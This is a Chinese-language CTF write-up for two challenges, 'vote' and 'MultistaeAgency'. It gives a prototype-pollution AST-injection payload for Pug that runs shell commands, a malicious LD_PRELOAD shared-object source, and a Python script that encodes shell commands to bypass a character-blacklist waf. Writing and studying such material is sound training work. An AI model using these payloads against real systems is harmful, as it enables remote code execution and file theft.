vote
考点
AST配合Pug模板引擎实现注入
https://blog.p6.is/AST-Injection/
https://xz.aliyun.com/t/10218
wp
主要代码,需要满足if语句
,从而可以执行compile
语句
payload
{
"__proto__.hero":{
"name":"奇亚纳"
},
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('cat /flag > /app/static/1.txt')"
}
}
因为环境不出网,所以就只能写入本地后,再访问
MultistaeAgency
考点
- GO语言上传文件和写入环境变量配合,利用恶意so文件来rce
- 利用curl来读取内网的服务器接口
- 然后
点号,星号,问号和字母
wp
给了附件,下载附件
Dockerfile
FROM golang:latest
RUN mkdir -p /code/logs
COPY . /code
WORKDIR /code
RUN go build -o bin/web web/main.go && \
go build -o bin/proxy proxy/main.go && \
go build -o bin/server server/main.go
RUN chmod -R 777 /code
RUN useradd web
ADD flag /flag
RUN chmod 400 /flag
ENTRYPOINT "/code/start.sh"
start.sh
echo `cat /proc/sys/kernel/random/uuid | md5sum |cut -c 1-9` > /tmp/secret/key
su - web -c "/code/bin/web 2>&1 >/code/logs/web.log &"
su - web -c "/code/bin/proxy 2>&1 >/code/logs/proxy.log &"
/code/bin/server 2>&1 >/code/logs/server.log &
tail -f /code/logs/*
可以知道有三个服务,web,server,proxy
其中web和proxy是web权限,server是root权限登录
flag是400权限,需要root权限
审web的main.go
三个路由接口/token
和/upload
和list
token是用来获取token和设置环境变量
upload是将上传的文件到当前token
所对应的目录下面,然后请求server服务的/manage
接口
/list
接口就是列出这个目录下的文件名
我们看server的manage接口
其中m的值是可控的,然后格式化字符串后,就执行bash的命令。加上flag需要root权限读(文件所有者是root,用户组是普通用户),所有我们的目的还是需要执行server的exec
命令
对于GET传参可控的话,直接拿分号
分割命令然后读flag即可。
在前面token路由可以设置环境变量,加上可以上传文件。
我们可以上传一个so
文件的动态链接库,然后LD_PRELOAD
来加载一个上传的恶意so文件,就可以达到一个命令执行。
root@VM-0-6-ubuntu:~# vim evil.c
#include<stdlib.h>
__attribute__((constructor)) void l3yx(){
unsetenv("LD_PRELOAD");
system(getenv("cmd"));
}
root@VM-0-6-ubuntu:~# gcc -shared -fPIC -o evil.so evil.c
因为上传的文件路径是在token下的,所有要找到这个token。
proxy服务器的端口8080
利用http_proxy,说明需要通过8080端口的proxy来访问
然后就开始rce
然后读flag不成功,原因上面说过了。
接下来,就是需要直接拿shell进行访问(curl)内网的server服务的/manage
manage有个waf
func waf(c string) bool {
var t int32
t = 0
blacklist := []string{".", "*", "?"}
for _, s := range c {
for _, b := range blacklist {
if b == string(s) {
return false
}
}
if unicode.IsLetter(s) {
if t == s {
continue
}
if t == 0 {
t = s
} else {
return false
}
}
}
return true
}
需要绕过点号,星号和问号和字母
利用师傅的脚本
from urllib.parse import quote
n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'
f=''
def str_to_oct(cmd):
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s+='\\'+o
return s
def build(cmd):
payload = "$0<<<$0\<\<\<\$\\\'"
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''
print(quote(quote("123;"+build("cat /flag"))))
出flag
参考文献
https://blog.csdn.net/rfrder/article/details/122330544